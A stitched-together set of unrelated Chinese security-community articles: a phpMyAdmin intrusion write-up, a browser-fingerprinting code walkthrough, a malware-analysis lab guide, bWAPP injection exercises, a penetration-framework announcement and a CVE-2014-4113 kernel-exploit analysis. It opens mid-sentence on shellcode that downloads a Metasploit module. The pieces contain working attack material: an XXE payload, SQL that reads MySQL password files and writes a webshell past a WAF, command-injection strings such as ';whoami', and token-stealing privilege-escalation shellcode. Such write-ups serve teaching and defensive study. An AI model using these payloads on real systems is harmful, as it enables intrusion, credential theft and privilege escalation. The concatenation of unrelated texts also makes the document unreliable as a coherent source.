该ShellCode的代码主要负责查找位于显示数据区域的payload并调用VirtualProtect修改其内存属性和最终执行，而payload代码则是一段简单的downloader，负责从
hxxps://xxx.xxx.xxx.xxx/public_api/get64 下载远程msf恶意模块。
* * * | 社区文章 |
# 虎汪大战之phpmyadmin篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 欢迎 **《黑客X档案》作者 yizhigu** 入驻银弹实验室。
> **《黑客X档案》** ：黑客X档案是国内发行量最大的网络安全（电脑黑客）类杂志，也是一本面向大众的普及类网络安全杂志。
* * *
> 作者 | yizhigu,master
> 编辑 | Ann
## 01 开战
**【大家好，我是汪星人yizhigu】**
虎汪大战即将拉开帷幕，这日我正在筹备我的兵器库。汪星好友Master在群中发来求助，遇到 **AppServ的WAMP套件**
不知如何下手，正巧另一汪星好友CNIU也闻声赶来，虎汪大战一触即发。
CNIU说时迟那时快，使用dirsearch对WEB目录进行了一番雷达探测，结果令人失望。这种套件我在多年前经常遇到，也是非常熟悉。这时CNIU查到了一个万能账户’localhost’@’@”顺利进入了phpmyadmin的控制台，实际上用户名中包含@字符，即可成功进入控制台，
汪星的前辈曾经告诉过我们， **当用户名输入@@，密码为空即可成功登录**
。phpmyadmin的版本2.10.3，确实很古老，我们进来的账户是匿名权限，仅可看到test库。
## 02 协作
多年前，自己对APPSERV套件曾经做过研究，利用@@进入到phpmyadmin控制台后，如果存在CMS系统就读取数据库配置文件，
**如果没有CMS系统拿不到配置文件的情况下是可以另辟蹊径的，就是读取mysql数据下的MYD文件进行分析**
，最终拿到root密码并实现最终的getshell。（贴出N年前的记录）
成功的语句历历在目，马上执行SQL语句开始我们的攻城拔寨。
沃勒个去，居然被WAF无情拦截
**一般情况下WAF是不会拦截phpmyadmin的数据库语句操作，这里可能是某些硬防进行了全方位的拦截**
，记得之前APPSERV自带的phpinfo页面也是访问直接被拦截。在SQL语句处进行了一些简单测试，就是一个很常规的正则，同时出现相关字符串就进行拦截。
看来目标开启了 **“虎视眈眈”**
模式，让我们无处遁形。汪星好友Master和CNIU也顿时陷入僵局，这个时候我想到了之前phpmyadmin的XXE漏洞，测试以下代码进行导入操作，也被WAF拦截了。
<?xml version=”1.0” encoding=”ISO-8859-1”?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM “file:///c:/boot.ini” >]><foo>&xxe;</foo>
正当我一愁莫展的时候，CNIU在群里告知可以在 **导入处提交sql文件，写入语句即可绕过WAF** 。
whatfuck!原来“虎视眈眈”也不过是个 **“纸老虎”** 。
这下问题来了，没有phpinfo，又不是默认路径，难道要猜测？要爆破？
正当我的大脑飞速运转时，Master大汪居然想到了老版本的路径报错漏洞，顺利拿到了web路径。有两位大汪坐镇，我也开启了SPORT模式，以180迈冲了出去。
新建一个1.sql贴入以下语句
> create table test(cmd blob);
> LOAD DATA LOCAL INFILE ‘D:/AppServ/MySQL/data/mysql/user.MYD’ INTO TABLE
> test fields terminated by ‘’ LINES TERMINATED BY ‘\0’;
> select hex(cmd) from test;
**执行后把结果复制并粘贴到HEXWORKSHOP,组成40位MYSQL5的SHA1哈希。**
成功破解出明文后以root权限进入后台，由于WAF不拦截select into outfile的语句，所以可以随意写入一个文件。
## 03 攻陷
因为此处存在WAF，写入常规的一句话十有八九会被拦截。所以需要写入哥斯拉等其他加密shell并进行连接，为了照顾某些新手小汪，这里还是提及一下getshell的流程。
首先把shell代码贴入到相关转换工具，由于我是个老汪，用的是CAL9000，大家可根据自我喜好使用例如burpsuite等工具。
转换成功后可使用语句写入webshell，最后成功连上。
**select converthex into dumpfile ‘D:/AppServ/www/pthwaf.php’**
## 04 收官
回望此次虎汪大战，感触颇深。最后的成功在于团队的通力协作，
**没有CNIU对于phpmyadmin控制台的探索以对抗WAF，没有Master丰富的作战经验想到的报错路径，可能此番交手并非一帆风顺**
。谨以此文，告知各位小伙伴，再聪明的大脑，也敌不过团队的高效，正所谓“三个臭皮匠,顶个诸葛亮”。希望大家以后遇到此类环境和WAF的时候，能够举一反三，为虎汪大战添上浓墨重彩的徽章！
多年未撰稿，笔下意犹未尽。古语曰“万般皆下品，惟有读书高”，
今日我云“万物皆是唯一，协作才最牛逼”。希望大家都能“厚德载物，一言九鼎”，物鼎安全欢迎小伙伴的加入！ | 社区文章 |
## 前言
上一篇文章主要讲解了论文中具有代表性的模块的代码实现，这一篇文章主要讲论文的整体架构和处理流程，包括数据生成，数据收集，数据处理等。
## 整体架构
1.后端给前端下发渲染任务
2.前端进行渲染，并且将部分结果进行hash后发送给后端
3.渲染任务同时搜集浏览器信息，设备信息，一并发送给后端
4.后端接收到数据进行处理
5.生成浏览器指纹与设备指纹
6.将指纹存储到数据库，并将指纹打印到前端
## 模块整合/数据生成
作者使用loader.js进行模块整合，测试项目大概如下
this.testList.push(new CubeTest('normal'));
this.testList.push(new CubeTest('aa'));
this.testList.push(new CameraTest());
this.testList.push(new LineTest('normal'));
this.testList.push(new LineTest('aa'));
this.testList.push(new TextureTest(....));
this.testList.push(new TextureTest(....));
this.testList.push(new SimpleLightTest(....));
this.testList.push(new SimpleLightTest(....));
this.testList.push(new MoreLightTest(....));
this.testList.push(new TwoTexturesMoreLightTest(....));
this.testList.push(new TransparentTest(....));
this.testList.push(new LightingTest());
this.testList.push(new ClippingTest());
this.testList.push(new BubbleTest());
this.testList.push(new CompressedTextureTest());
this.testList.push(new ShadowTest());
测试结果利用`dataurl`传递给toServer.js进行hash处理
例如`CubeTest('normal')`结果如下
这十多个任务基本用来测试GPU的渲染
然后还有浏览器的字符渲染支持测试
this.asyncTests.push(new LanguageDector());
将浏览器支持的字符返回给后端
## 数据收集
对于数据的搜集，作者这里使用了toServer.js，大致代码解读如下
作者对如下数据进行测试和搜集
var Sender = function() {
this.finalized = false;
this.postData = {
fontlist: "No Flash",
fonts: "",
WebGL: false,
inc: "Undefined",
gpu: "Undefined",
hash: "Undefined",
timezone: "Undefined",
resolution: "Undefined",
plugins: "Undefined",
cookie: "Undefined",
localstorage: "Undefined",
manufacturer: "Undefined",
gpuImgs: {},
adBlock: "Undefined",
cpu_cores: "Undefined",
canvas_test: "Undefined",
audio: "Undefined",
langsDetected: [],
video: []
};
在调用toServer函数的时候，会传入5个参数，分别是
WebGL, inc, gpu, hash, id, dataurl
然后进行相应赋值
this.toServer = function(
WebGL, inc, gpu, hash, id,
dataurl) { // send messages to server and receive messages from server
this.postData['gpuImgs'][id] = dataurl.hashCode();
if (WebGL) {
this.postData['WebGL'] = WebGL;
this.postData['inc'] = inc;
this.postData['gpu'] = gpu;
this.postData['hash'] = hash;
}
};
其中的
this.postData['inc'] = inc;
this.postData['gpu'] = gpu;
分别来自于
gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
对于
this.postData['gpuImgs'][id] = dataurl.hashCode();
this.postData['hash'] = hash;
来自于如下运算
Uint8Array.prototype.hashCode = function() {
var hash = 0, i, chr, len;
if (this.length === 0)
return hash;
for (i = 0, len = this.length; i < len; i++) {
chr = this[i];
hash = ((hash << 5) - hash) + chr;
hash |= 0; // Convert to 32bit integer
}
return hash;
}
这里我们知道`dataurl`是各种模块渲染的结果传递而来，然后利用hashcode转成数字，得到大致如下结果
紧接着
作者对4422种字体进行探测，若支持，则标记为1，不支持则标记为0
得到形如如下的数组
然后有进行了本地时间与 GMT 时间之间的时间差的搜集：
例如我的
然后作者又搜集了分辨率
这里搜集了浏览器缩放比例，浏览器的页面大小等，如下
缩放比例：80%
缩放比例：100%
浏览器页面大小：小窗和窗口最大化。缩放比例100%
然后作者又使用了navigator对象，获取了如下参数
this.postData['plugins'] = navigator.plugins;
this.postData['cookie'] = navigator.cookieEnabled;
this.postData['cpu_cores'] = navigator.hardwareConcurrency;
然后又使用了`localStorage`特性，判断浏览器是否支持localStorage这个属性
try {
localStorage.setItem('test', 'test');
localStorage.removeItem('test');
this.postData['localstorage'] = true;
} catch(e) {
this.postData['localstorage'] = false;
}
最后收集如下信息
this.postData['adBlock'] = $('#ad')[0] == null ? 'Yes' : 'No';
this.postData['canvas_test'] = Base64EncodeUrlSafe(calcSHA1(cvs_test.substring(22, cvs_test.length)));
this.postData['audio'] = audioFingerPrinting();
this.postData['langsDetected'] = get_writing_scripts();
然后将数据发送到指定ip
function startSend(postData){
$.ajax({
url : "http://" + ip_address + "/features",
dataType : "json",
contentType: 'application/json',
type : 'POST',
data : JSON.stringify(postData),
success : function(data) {
data['finished'] = true;
parent.postMessage(data,"http://uniquemachine.org");
},
error: function (xhr, ajaxOptions, thrownError) {
alert(thrownError);
}
});
}
## 数据处理
后端采用python flask框架编写
@app.route('/features', methods=['POST'])
def features():
agent = ""
accept = ""
encoding = ""
language = ""
IP = ""
try:
agent = request.headers.get('User-Agent')
accpet = request.headers.get('Accept')
encoding = request.headers.get('Accept-Encoding')
language = request.headers.get('Accept-Language')
IP = request.remote_addr
except:
pass
但由于是demo，很多功能尚未加入，这里的跨浏览器特性就只用到了2个，难怪稳定性不是很高= =
feature_list = [
"agent",
"accept",
"encoding",
"language",
"langsDetected",
"resolution",
"fonts",
"WebGL",
"inc",
"gpu",
"gpuImgs",
"timezone",
"plugins",
"cookie",
"localstorage",
"adBlock",
"cpu_cores",
"canvas_test",
"audio"]
cross_feature_list = [
"timezone",
"fonts",
"langsDetected",
"audio"
]
处理方式也比较简单，没有想象中的复杂
作者简单的通过agent去判断是否为mac，然后加载了不同的mask
然后利用之前搜集的支持的字体
进行与运算
然后作者将所有特性的值字符串化然后拼接在一起，再进行md5，得到哈希值，作为浏览器指纹和设备指纹
## 测试结果
因为作者给出了demo网站，我进行了测试
* 同一ip，不同浏览器(Safari，Firefox，Chrome)
识别都失败了
当然，也有成功的人(Chrome，Firefox)
* 不同ip，同一浏览器(Chrome)
挂上代理后
不挂代理
发现识别成功。
## 后记
进行跨浏览器设备指纹识别依旧是一个难题，论文提出了很多有趣的特征，我也不能一一阐述解释，并且由于这只是论文的demo，稳定性不够强可以理解，这可以为我们后续工作做一些启发与指引。 | 社区文章 |
# 事件响应中的恶意软件分析（下集）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.redblue.team/2016/02/a-soft-introduction-to-malware-analysis.html>
译文仅供参考，具体内容表达以及含义原文为准。
在上集中,我们对当前信息安全行业的事件响应状况进行了分析,并且讲述了我们实验环境的搭建要素,我们将在下集中给大家继续介绍我们的实验分析过程。
在配置好了实验所用的虚拟机之后,我们还需要在目标主机中创建一个较大的攻击面,以此来保证我们所部属的恶意软件能够正常运作。在这一步骤中,我们可以安装一个老版本的,存在漏洞的Java,Flash,Office,IE浏览器,或者Adobe
Reader。除此之外,你也可以安装Visual C++ Redistributable
2005/2010([https://www.microsoft.com/en-us/download/details.aspx?id=3387](https://www.microsoft.com/en-us/download/details.aspx?id=3387))。
最后,我们还需要确保:
l 开启查看隐藏文件夹和系统文件功能;
l 关闭系统的自动更新
l 禁用浏览器的隐私功能,并将浏览器的安全等级设为“低”
l 关闭系统防火墙
l 显示已知文件类型的扩展名
l 禁用阻止弹窗功能
现在,我们的实验环境已经配置完成了,接下来我们需要创建以下三个系统快照:
1\. 安装工具之前的系统-没有安装任何应用程序或者恶意软件;
2\. 安装了工具的系统-在平台中已经加载了恶意软件的静态行为分析工具;
3\. 安装了恶意软件的系统-在系统感染了恶意软件之后,我们需要保存系统快照,以便我们以后对其进行详细分析;
实验工具
在我们实际对恶意软件进行分析之前,我们还需要安装一些软件,这些工具能够帮助我们调试,反汇编,监视注册表,分析内存进程,识别文件创建活动,以及查看网络通信数据。我们有大量的工具能实现上述这些功能,我在下面的列表中列出了一些目前较为流行的软件,这些软件的可靠性相对而言比较高:
l [Malcode Analysis
Pack](http://sandsprite.com/iDef/MAP/)-这款工具非常实用,它能提供大量功能强大的分析程序;
l [OllyDBG](http://www.ollydbg.de/)-这款调试器能够帮助你进行实时分析;
l [IDA Pro](https://www.hex-rays.com/products/ida/)-这款热门的反汇编工具能够帮助我们对恶意代码进行静态分析;
l
[CaptureBat](https://www.honeynet.org/node/315)-这是一款行为分析工具,它能够监视文件,进程,以及注册表的活动;
l [PEiD](https://www.aldeid.com/wiki/PEiD)-这款实用的轻量级应用程序能够识别压缩包内的可执行程序;
l [Import
Reconstructor](https://tuts4you.com/download.php?view.415)-当我们对恶意软件进行恢复时需要用到这个程序;
l
[RegShot](http://sourceforge.net/projects/regshot/)-注册表静态比较工具,能够帮助我们观察注册表的修改情况;
l [010](http://www.sweetscape.com/010editor/)-一款十六进制编辑器,当我们对PE文件进行可视化分析时会用到它;
l [7ZIP](http://www.7-zip.org/download.html)-数据压缩程序;
l [OLEDump](http://blog.didierstevens.com/programs/oledump-py/)-可用于分析恶意OLE文件(doc和xls等文件);
l [Sysinternals](https://technet.microsoft.com/en-us/sysinternals/bb545021.aspx)-这个工具集中包含很多软件,这些软件可以帮助我们进行研究和分析;
我们将上述的这些应用程序全部加载到我们安装了Windows操作系统的目标主机中。现在,我们就可以提取第二次系统快照了。当你想要快速回滚到一个干净的平台来对另一款新的恶意软件样本进行分析时,你将会用到这个系统快照。当然了,你也可以采用不同的分析方法来对同一恶意软件样本进行研究。
声明:尽管在虚拟机系统中运行恶意代码相对而言是安全的(如果网络以及其他服务都采用了正确的配置),但是相关设备中仍然存在一些漏洞,这些[漏洞](http://venom.crowdstrike.com/)将允许恶意代码逃出虚拟机系统,并且感染实体主机。所以在你操作的过程中,应该做好最坏的打算,为最坏情况的发生而做好预防措施。请注意,我们应该使用专用的硬件设备来运行我们的虚拟恶意软件实验环境,请不要在你的个人电脑或者公司电脑上进行此类实验。除此之外,我还建议大家在隔离网域中进行相应操作。
分析
既然我们的实验环境已经配置完成了,而且也已经安装好了实验所必需的一些分析工具,那么接下来我们就要获取一份可用于分析实验的恶意软件样本。在这一步骤中,我们有很多选择,但是根据我的经验,我给大家推荐:
l
[MWCrawler](https://github.com/0day1day/mwcrawler)-这款python爬虫程序能够爬取到各种恶意软件黑名单,并且能够与相应的服务器进行链接,然后下载恶意软件。通过这个程序我们可以轻松地下载到恶意软件样本,而不必进行大量的配置和调试。
l
除此之外,还有[VXCage/Viper](http://viper.li/)、[Reverse.IT](http://reverse.it/)以及[theZoo](https://github.com/ytisf/theZoo)等工具,在此就不一一举例说明了,感兴趣的朋友可以自行搜索了解。
正如我在这篇文章中的开头所提到的,我将会对Win32/Potao进行分析,大家可以点击[这里](https://github.com/ytisf/theZoo/blob/master/malwares/Binaries/PotaoExpress/PotaoExpress.zip)获取这款恶意软件,解压密码为“infected”。
首先我要做的就是用十六进制编辑器打开这些文件,然后查看其文件格式头,并确定我们将要处理的恶意软件类型。
我们可以从上图看到,文件的头两个字节为“4D
5A”,说明这个文件是一个PE文件,或者是一个可执行文件。这部分内容已经超出了本文所要讲解的知识,如果你想要了解更多关于这种文件格式(这是一种常见的文件格式)的信息,你可以点击[这里](http://www.csn.ul.ie/~caolan/pub/winresdump/winresdump/doc/pefile2.html)获取。
在偏移量00170h处,我们可以看到这片内存区域中存储着“UPX0”和“UPX1”这两个字符串。UPX会在其压缩文件中使用这两个标识符。UPX是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70%
,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 通过 UPX
压缩过的程序和程序库完全没有功能损失和压缩之前一样可正常地运行,对于支持的大多数格式没有运行时间或内存的不利后果。如果你想要了解更多有关压缩和手动解压方面的内容,我建议大家阅读[这篇文章](https://www.sans.org/reading-room/whitepapers/malicious/packer-analysis-report-debugging-unpacking-nspack-34-37-packer-33428)。
在MAP([Malcode Analysis
Pack](http://sandsprite.com/iDef/MAP/))的帮助下,我可以直接点击样本文件,然后选取“字符串”:
这里并没有多少有用的数据,因为针对字符串的分析并不会给我们提供多少有价值的信息。
在MAP的帮助下,我们可以点击样本来直接获取到相应文件的MD5 Hash:
接下来,在我触发恶意软件之前,我将解压恶意软件的样本文件,并对其进行分析。
我们可以看到,文件已经成功解压了。我们对文件进行重命名,然后加上”.exe”后缀,Windows将会加载如下图所示的一个图标:
这是一种非常典型的社会工程学小技巧,如果大家对此感兴趣,请点击[这里](http://www.howtogeek.com/127154/how-hackers-can-disguise-malicious-programs-with-fake-file-extensions/)来了解更多与社会工程学技术有关的信息。
在我们执行文件之前,我们先要运行CaptureBat,并且确保Kali主机中的Wireshark处于正常运行状态。在点击文件之后,我们将会看到:
CaptureBat的日志文件如下:
我们可以看到,恶意软件向系统中的Temp临时目录中写入了一些文件。
在对这些文件进行了进一步的分析之后,我们可以看到:
也许 ,大家也想将网络的通信数据映射出来,并且了解恶意软件的反分析技术,具体信息如下图所示:
虽然我没有对这些实验数据进行非常深入地分析,但是我希望这篇文章至少能够帮助你了解手动进行恶意软件分析的大致流程以及所需要用的一些工具软件。非常感谢大家能够阅读这篇文章,祝大家新春快乐。 | 社区文章 |
# 2.bWAPP OS Command Injection(Blind)&PHP Code Injection 系统命令执行
## **LDAP Injection (Search)**
LDAP 全英文：Lightweight Directory Access
Protocol，翻译过来就是轻量级的目录访问协议。其实就是访问目录，浏览目录。有很多企业存储一些数据信息，例如部门信息，部门里成员的信息，公司的可用设备信息等，这些信息单独放在类似于网站的那种数据库中的话，会显的有点大材小用，而把它们放在目录中，文本中最合适。好比在文档中搜索指定的内容，在目录中搜索指定的文件一样。
LDAP
也有自己指定的语法，也可理解为它是一个存储信息的数据库，为了搜索方便，很多网站提供了其查询的接口，和普通的搜索框无异，对于指定的搜索内容，在没有严格过滤的情况下，便可以造成LDAP
注入。
## **Mail Header Injection (SMTP)**
通常的做法是网站实施联系表单，反过来将合法用户的电子邮件发送给消息的预期收件人。大多数情况下，这样的联系表单将设置SMTP标头From，Reply-to以便让收件人轻松处理联系表单中的通信，就像其他电子邮件一样。
不幸的是，除非用户的输入在插入SMTP头之前被验证，否则联系表单可能容易受到电子邮件头插入（也称为SMTP头注入）的攻击。这是因为攻击者可以将额外的头部注入到消息中，从而指示SMTP服务器执行与预期不同的指令。
## **OS Command Injection**
漏洞url：<http://range.anhunsec.cn:82/commandi.php>
### **Level：low**
payload：www.nsa.gov;whoami
原理：在DNS查询之后再执行dir命令
### **Level：medium**
查看源码
commandi_check_1是把&和;替换了，还可以使用|
构造payload：www.nsa.gov | whoami
### **Level：high**
查看源码
escapeshellcmd()函数用来跳过字符串中的特殊符号，防止恶意用户通过不正当方式破解服务器系统
## **OS Command lnjection - Blind**
漏洞url：<http://range.anhunsec.cn:82/commandi_blind.php>
命令盲注就是注入后没有返回信息，要根据反应时间判断命令是否成功执行
输入127.0.0.1
输入
||whoami `sleep 5 `
## **PHP Code Injection**
漏洞url：<http://range.anhunsec.cn:82/phpi.php>
### **Level：low**
构造payload：?message=phpinfo();
### **Level：medium &high**
查看源码，使用了htmlspecialchars()函数无法绕过
## **Server-Side Includes (SSI) Injection**
SSI是英文"Server Side
Includes"的缩写，翻译成中文就是服务器端包含的意思。SSI是用于向HTML页面提供动态内容的Web应用程序上的指令。它们与CGI类似，不同之处在于SSI用于在加载当前页面之前或在页面可视化时执行某些操作。
为此，Web服务器在将页面提供给用户之前分析SSI,可在SHTML文件中使用SSI指令引用其他的html文件（#include），此时服务器会将SHTML中包含的SSI指令解释，再传送给客户端，此时的HTML中就不再有SSI指令了。Server-Side
Includes攻击允许通过在HTML页面中注入脚本或远程执行任意代码来利用Web应用程序。
一种对于这类漏洞的挖掘方式即是查看.stm，.shtm和.shtml的页面是否存在，但是缺少这些类型的页面并不意味着不存在SSI攻击。
默认Apache不开启SSI，SSI这种技术已经比较少用了 IIS和Apache都可以开启SSI功能
核心代码
<div id="main">
<h1>Server-Side Includes (SSI) Injection</h1>
<p>What is your IP address? Lookup your IP address... (<a href="http://sourceforge.net/projects/bwapp/files/bee-box/" target="_blank">bee-box</a> only)</p>
<form action="<?php echo($_SERVER["SCRIPT_NAME"]);?>" method="POST">
<p><label for="firstname">First name:</label><br /> //firstname表单
<input type="text" id="firstname" name="firstname"></p>
<p><label for="lastname">Last name:</label><br /> //lastname表单
<input type="text" id="lastname" name="lastname"></p>
<button type="submit" name="form" value="submit">Lookup</button>
</form>
<br />
<?php
if($field_empty == 1) //这里的PHP只是判断是否有输入
{
echo "<font color=\"red\">Please enter both fields...</font>";
}
else
{
echo "";
}
?>
</div>
防护代码
$field_empty = 0;
function xss($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = xss_check_4($data);
break;
case "2" :
$data = xss_check_3($data);
break;
default :
$data = no_check($data);
break;
}
return $data;
}
if(isset($_POST["form"]))
{
$firstname = ucwords(xss($_POST["firstname"])); //ucwords()首字母大写
$lastname = ucwords(xss($_POST["lastname"]));
if($firstname == "" or $lastname == "")
{
$field_empty = 1;
}
else
{
$line = '<p>Hello ' . $firstname . ' ' . $lastname . ',</p><p>Your IP address is:' . '</p><h1><!--#echo var="REMOTE_ADDR" --></h1>';
// Writes a new line to the file
$fp = fopen("ssii.shtml", "w");
fputs($fp, $line, 200);
fclose($fp);
header("Location: ssii.shtml");
exit;
}
}
?>
#### **low：**
low级别，没有防护，能xss
#### **medium：**
function xss_check_4($data)
{
// addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
// These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
// Do NOT use this for XSS or HTML validations!!!
return addslashes($data);
}
addslashes（）在符号前加反斜线
#### **high:**
function xss_check_3($data, $encoding = "UTF-8")
{
// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&'
// '"' (double quote) becomes '"' when ENT_NOQUOTES is not set
// "'" (single quote) becomes ''' (or ') only when ENT_QUOTES is set
// '<' (less than) becomes '<'
// '>' (greater than) becomes '>'
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}
将预定义的字符装换为html实体字符
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
AssassinGo是一款使用Golang开发，集成了高可用信息收集、基础攻击向量探测、Google-Hacking综合搜索和PoC自定义添加并对目标进行批量检测等功能的自动化Web渗透框架，该框架有着基于Vue的WebGUI，前后端交互主要采用WebSocket技术，会将结果实时显示在前台，并且其可扩展性极强，用户实现各模块接口即可添加自定义功能。
**项目网址：** <https://assassin-go.ink>
**Github：** <https://github.com/AmyangXYZ/AssassinGo>
## **功能**
### **信息收集部分**
1. HTTP安全头部检查
2. 服务器识别
3. CMS版本识别
4. 蜜罐概率检测
5. CloudFlare绕过并检测Real IP
6. 路由节点跟踪并在googlemap上做可视化标记
7. 端口扫描
8. 目录爆破和可视化的sitemap
9. Whois信息
10. 子域名扫描
精准的的蜜罐概率检测、并发式的爆破、完美可视化的拓扑以及强大的CloudFlare 绕过并检测真实IP等功能 或许能让使用者在真实的渗透过程中如虎添翼
**下面是部分功能截图：**
**（1）基础信息收集：**
**（2）路由探测并在地图上可视化标记：**
### **基础攻击部分**
1. 整站爬虫
2. SQLi检测
3. 反射型xss
4. Intruder
5. SSH爆破
**以下是部分功能截图：**
**Intruder**
**下个版本会将爬虫和XSS检测也升级成headless-chrome版本**
### **Google-Hacking**
后端调用Headless-Chrome爬取google或bing搜索结果，完全支持google-hacking语法，而且不会被反爬虫检测。这也可以说是一大特色，利用其强大的搜索能力以及详尽的搜索语法和人性化的帮助实现强大的针对性信息收集与自动化提取。
详细的Google-Hacking语法文档将引用团队成员精心整理的git项目，下面是项目地址：
<https://github.com/K0rz3n/GoogleHacking-Page>
### **POC 批量精准探测**
本框架可内置大量的精心选择的最新的POC，并且会显示Poc的详细的信息。我们提供了非常方便的接口供使用者自定义添加POC，使用者可以根据前面功能搜索到的或批量或单一的目标搜索POC进行检测，非常的方便快捷，能够大大提升渗透测试的效率。
**下面是功能截图：**
### **网站服务**
后端基于[sweetygo](https://github.com/AmyangXYZ/sweetygo)
前端基于Vue。
前后端交互大量使用WebSocket，使扫描结果即时展示在前台。
## **设计概要**
后端实现选用组合模式。
信息收集接口Gatherer、基本攻击接口Attacker、漏洞PoC验证接口基本相同，均包含下列三种方法：
* **Set(…interface{})：** 设置本函数或PoC所必需的参数，如目标、端口、并发数量等等。
* **Run()：** 函数启动入口。
* **Report() map[string]interface{}：** 返回执行结果，为后续生成报告准备。
而POC接口还需要额外实现Info() string方法，返回该漏洞的基本信息。
当添加新的功能或更新PoC时仅需编写一个新的.go文件并实现对应接口的方法。
例如当新公布出一个远程代码执行漏洞的PoC时，我们可直接新建一个xx-rce.go文件（参考已写好的几个POC），实现上述接口，重新编译整个项目之后（Go语言的编译时间仅为数秒）即可在前台调用该POC去检测目标。
## **项目进度**
基本功能已开发完，部署了一个demo版本，
由于服务器性能有限，并未开放注册，大家想体验可以联系我手动注册（[email protected]），
或者在自己本地搭建，必要的shell脚本和docker-compose已写好。
由于团队人手十分有限，很多地方不是很完善，POC也没有积攒几个，希望大家体谅。
## **致谢**
在这个项目的开发完成过程中团队成员都付出了辛勤的努力，在此表示衷心的感谢。
**@Amyang** **@U1in** **@K0rz3n** ，同样，我们也期待你的加入。 | 社区文章 |
文章来源：[安全客](http://bobao.360.cn/learning/detail/3170.html)
作者：[k0pwn_ko](http://bobao.360.cn/member/contribute?uid=1353169030)
### 前言
内核漏洞对我来说一直是一个坎，记得两年前，刚刚接触二进制漏洞的时候，当时今天的主角刚刚出现，当时调试这个漏洞的时候，整个内心都是崩溃的，最近我重温了一下这个漏洞，发现随着自己学习进步，对整个内核漏洞分析的过程也变的越来越清晰，而且在这个内核漏洞的调试过程中发现了一些很有意思的调试细节，因此想把自己的这个调试笔记分享出来，希望能和大家多多交流，也能有更多的进步。
今天的主角就是CVE-2014-4113，这个win32k.sys下的内核漏洞是一个非常经典的内核漏洞，它无论在Exploit利用，内核漏洞的形成原因，可以说是教科书式的，非常适合对内核漏洞感兴趣的小伙伴入门分析。
### 另一种方法定位漏洞
内核漏洞分析是一个比较复杂的过程，其实无论对于内核态漏洞还是软件态漏洞，都需要通过对补丁，或者PoC，或者Exploit进行阅读，通过对源码的分析可以了解到很多和漏洞有关的细节，所以这次我们也要阅读一下关于CVE-2014-4113的Exp，从中获取一些信息。
LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
PEPROCESS pCur, pSys ;
fpLookupProcessById((HANDLE)dwCurProcessId, &pCur);
fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);
#ifdef _WIN64
*(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
#else
*(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
#endif
return 0 ;
}
在源码分析过程中，我们关注Shellcode函数中的代码片段，可以看到Shellcode做了一件事情，就是针对32位系统和64位系统，会将当前系统的系统进程句柄psys，加上token的偏移赋值给当前用户进程的token，而这种手法也是现在Windows提权中一个非常好用的方法。
众所周知，Exploit一般不会影响软件或者系统的正常运行，而会执行Shellcode中的恶意代码，在我们没有PoC来引发软件或者系统异常的情况下，往往会通过Shellcode中的一些关键步骤的跟踪来接近漏洞的触发位置。
那么在这个过程中我们就用上面的Shellcode来跟踪这个漏洞。首先我们来说一下_EPROCESS结构体，这个结构体包含着当前进程的很多信息，这个过程我们可以通过!process
0 0的方法来得到。当然这个命令只有在内核态才能使用，我们通常通过Windbg远程调试的方法来完成。
可以看到，通过`!process 0
0`的方法获取到的system进程的句柄位置在0x867c6660，接下来我们来看一下我们执行的Exploit进程位置。
当前Exploit的地址是0x86116bb0，这两个地址就是_EPROCESS结构体的地址，下面我们来看一下这个结构体的内容。
可以看到，偏移+0x0c8位置存放的就是Token，而结合上面分析的Shellcode的内容，Token就是进行替换提权的关键位置。
实际上提权时，就是用0xe10007b3这个系统进程的Token，替换当前用户进程的0xe116438c这个Token，这也是下断点的一个重要依据，通过下条件断点，可以跟踪到当前进程句柄的变化情况。
ba w1 86116c78 ".printf \"TOKEN CHANGE TO: [%08x]\\n\",poi(86116c78);.if(poi(86116c78)==0xe10007b3){;}.else{g;}"
跟踪到00411f88位置的时候，程序中断，也是这时候当前进程句柄被替换，同时回溯到堆栈调用情况。
当前堆栈调用展示了整个内核漏洞发生问题的过程，我们需要关注这个回溯过程，在后面的分析中需要用到，也由此我们定位了漏洞触发的关键流程，为后续的分析提供了依据。
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
9b5f7a24 81ff94f3 fffffffb 000001ed 014cfd14 0x1301448
9b5f7a64 81ff95c5 fffffffb 000001ed 014cfd14 win32k!xxxSendMessageTimeout+0x1ac
9b5f7a8c 820792fb fffffffb 000001ed 014cfd14 win32k!xxxSendMessage+0x28
9b5f7aec 82078c1f 9b5f7b0c 00000000 014cfd14 win32k!xxxHandleMenuMessages+0x582
9b5f7b38 8207f8f1 fdf37168 8215f580 00000000 win32k!xxxMNLoop+0x2c6
9b5f7ba0 8207f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd
9b5f7c14 828791ea 004601b5 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3
在接下来的调试分析中，由于ASLR的关系，导致有些关键函数地址基址不太一样，不过不影响我们的调试。
### 一些有趣的调试细节
